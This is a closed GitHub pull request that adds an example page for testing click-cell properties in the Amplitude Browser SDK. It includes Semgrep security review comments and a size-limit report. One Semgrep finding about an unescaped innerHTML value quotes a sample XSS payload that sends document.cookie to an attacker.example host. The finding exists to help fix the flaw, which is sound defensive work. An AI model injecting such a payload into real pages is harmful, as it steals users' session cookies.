Skip to content

chore(examples): add click cell test app - #2212

Closed
junjie-amplitude wants to merge 2 commits into
mainfrom
cursor/click-cell-test-app-042a
Closed

junjie-amplitude wants to merge 2 commits into
mainfrom
cursor/click-cell-test-app-042a

Conversation

@junjie-amplitude

@junjie-amplitude junjie-amplitude commented Nov 30, 2026 •

Copy link
Copy Markdown
Collaborator

Adds examples/browser/click-cell-test-app, a small standalone Vite page for checking the [Amplitude] Element Click Cell, ... Cell Min Size and ... Cell Max Per Axis properties from #2211 (Linear HM-39) on [Amplitude] Element Clicked events. Preparation for an end-to-end remote config test.

  • Initializes the Browser SDK with autocapture.elementInteractions and fetchRemoteConfig: true, with click targets of varied sizes and a side panel showing each outgoing event payload.
  • API key and server zone come from AMPLITUDE_API_KEY / AMPLITUDE_SERVER_ZONE (env, git-ignored .env, or cloud secrets). Nothing secret is committed.
  • The SDK source is one line in sdk-version.txt: a published version or local (a built checkout of the feat(plugin-autocapture-browser): add click cell properties to Element Clicked #2211 branch). It is set to the HM-39 pre-release 2.51.0-cursorhm-39-click-cell-9eb2.0 (npm tag cursorhm-39-click-cell-9eb2).
  • npm run verify is a headless check with remote config and uploads mocked. Run against the pre-release: defaults give 1x1:0,0 / 4x3:3,2 / 10x6:9,5 with min size 64 and max per axis 10; remote {enabled:true,minCellSizePx:32,maxCellsPerAxis:3} gives the 3-cell grids; remote {enabled:false} and keyboard clicks send none.
  • Not part of the pnpm workspace; does not touch any SDK package. Draft; not intended to merge before the HM-39 test is done.

See the README in the folder for usage.

Part of HM-39

Open in Web Open in Cursor 

@linear-code

linear-code Bot commented Nov 30, 2026

Copy link
Copy Markdown
Contributor

HM-39

Comment on lines +70 to +73
el.innerHTML = `<h3>${esc(event.event_type)} (${new Date().toLocaleTimeString()})</h3>
${isClick ? `<table class="cell">${rows}</table>
<div>element: <code>${esc(props['[Amplitude] Element Tag'] || '')}#${esc(props['[Amplitude] Element ID'] || '')}</code></div>` : ''}
<details ${isClick ? 'open' : ''}><summary>payload</summary><pre>${esc(JSON.stringify(event, null, 2))}</pre></details>`;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 High severity blocking issue identified in your code:
User controlled data in methods like innerHTML, outerHTML or document.write is an anti-pattern that can lead to XSS vulnerabilities

Why this might be safe to ignore:

All event-derived values interpolated into the HTML are passed through esc, including serialized payloads and properties, so the displayed data is intended to be HTML-escaped. The code is also part of a click-cell test app, further reducing practical exploitability.

To resolve this comment:

🔧 No guidance has been designated for this issue. Fix according to your organization's approved methods.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by insecure-document-method.

You can view more details about this finding in the Semgrep AppSec Platform.

Comment on lines +24 to +31
$('config-summary').innerHTML = `<table>
<tr><td>SDK</td><td>${esc(__SDK_SOURCE__)}</td></tr>
<tr><td>Server zone</td><td>${esc(serverZone)}</td></tr>
<tr><td>API key</td><td>${apiKey ? esc(apiKey.slice(0, 4) + '...' + apiKey.slice(-2)) : 'NOT SET'}</td></tr>
<tr><td>Local clickCell option</td><td>${localClickCell === null ? '(not set: defaults, or remote config)' : esc(localClickCell)}</td></tr>
${extra}
${network.map((n) => `<tr><td>${esc(n.label)}</td><td>${esc(n.value)}</td></tr>`).join('')}
</table>`;

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟠 High severity blocking issue identified in your code:

renderSummary writes the unescaped extra value into config-summary.innerHTML, so attacker-controlled markup can execute as JavaScript in the page’s origin.

More details about this

renderSummary assigns a template string to $('config-summary').innerHTML, and the ${extra} interpolation is inserted without HTML escaping. Unlike serverZone, apiKey, localClickCell, and the network values, extra can add arbitrary markup to the page whenever a caller passes attacker-controlled content.

A plausible attack path is:

  1. An attacker supplies a value that reaches the extra argument, such as <img src=x onerror="fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))"> through a configurable event or response handled by the test app.
  2. A caller invokes renderSummary(extra) with that value.
  3. The assignment to config-summary.innerHTML parses the value as HTML and executes the image's onerror handler in the application's origin, allowing the attacker to read page data or perform actions as the victim.

The existing esc(...) calls protect the displayed configuration and network fields, but they do not protect ${extra}. The impact depends on whether untrusted data can reach renderSummary's extra parameter; that data flow is not shown in the supplied context.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
$('config-summary').innerHTML = `<table>
<tr><td>SDK</td><td>${esc(__SDK_SOURCE__)}</td></tr>
<tr><td>Server zone</td><td>${esc(serverZone)}</td></tr>
<tr><td>API key</td><td>${apiKey ? esc(apiKey.slice(0, 4) + '...' + apiKey.slice(-2)) : 'NOT SET'}</td></tr>
<tr><td>Local clickCell option</td><td>${localClickCell === null ? '(not set: defaults, or remote config)' : esc(localClickCell)}</td></tr>
${extra}
${network.map((n) => `<tr><td>${esc(n.label)}</td><td>${esc(n.value)}</td></tr>`).join('')}
</table>`;
const addRow = (table, label, value) => {
const row = document.createElement('tr');
const labelCell = document.createElement('td');
const valueCell = document.createElement('td');
labelCell.textContent = String(label);
valueCell.textContent = String(value);
row.append(labelCell, valueCell);
table.append(row);
};
const renderSummary = (extra = []) => {
const container = $('config-summary');
container.replaceChildren();
const table = document.createElement('table');
addRow(table, 'SDK', __SDK_SOURCE__);
addRow(table, 'Server zone', serverZone);
addRow(table, 'API key', apiKey ? apiKey.slice(0, 4) + '...' + apiKey.slice(-2) : 'NOT SET');
addRow(
table,
'Local clickCell option',
localClickCell === null ? '(not set: defaults, or remote config)' : localClickCell,
);
if (Array.isArray(extra)) {
extra.forEach((entry) => addRow(table, entry.label, entry.value));
}
network.forEach((entry) => addRow(table, entry.label, entry.value));
container.append(table);
};
View step-by-step instructions
  1. Remove the interpolated template from the innerHTML assignment. Build the table with DOM methods such as document.createElement, append, and textContent.

  2. Add a helper that creates a row and assigns each value as text, for example: const addRow = (table, label, value) => { const row = document.createElement('tr'); const labelCell = document.createElement('td'); const valueCell = document.createElement('td'); labelCell.textContent = String(label); valueCell.textContent = String(value); row.append(labelCell, valueCell); table.append(row); };

  3. Rewrite renderSummary to clear the container and append a constructed table: const container = $('config-summary'); container.replaceChildren(); const table = document.createElement('table'); addRow(table, 'SDK', __SDK_SOURCE__); addRow(table, 'Server zone', serverZone); addRow(table, 'API key', apiKey ? apiKey.slice(0, 4) + '...' + apiKey.slice(-2) : 'NOT SET'); addRow(table, 'Local clickCell option', localClickCell === null ? '(not set: defaults, or remote config)' : localClickCell);

  4. Replace ${extra} with structured row data or a DOM-building function. Do not append extra as an HTML string; add each label and value through textContent and addRow.

  5. Add the network entries without HTML interpolation: network.forEach((entry) => addRow(table, entry.label, entry.value)); container.append(table); Values assigned through textContent are treated as text rather than parsed as HTML, so the existing esc function is not needed for this rendering path.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by insecure-document-method.

You can view more details about this finding in the Semgrep AppSec Platform.

Co-authored-by: Junjie Wang <junjie-amplitude@users.noreply.github.com>
@github-actions

github-actions Bot commented Dec 1, 2026

Copy link
Copy Markdown

size-limit report 📦

Path Size
packages/analytics-browser/lib/scripts/amplitude-min.js.gz 68.78 KB (0%)
packages/session-replay-browser/lib/scripts/session-replay-browser-min.js.gz 141.16 KB (0%)
packages/unified/lib/scripts/amplitude-min.umd.js.gz 228.13 KB (0%)
@amplitude/element-selector (gzipped esm) 3.48 KB (0%)
@amplitude/analytics-browser/lite (gzipped CDN bundle) 21.44 KB (0%)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants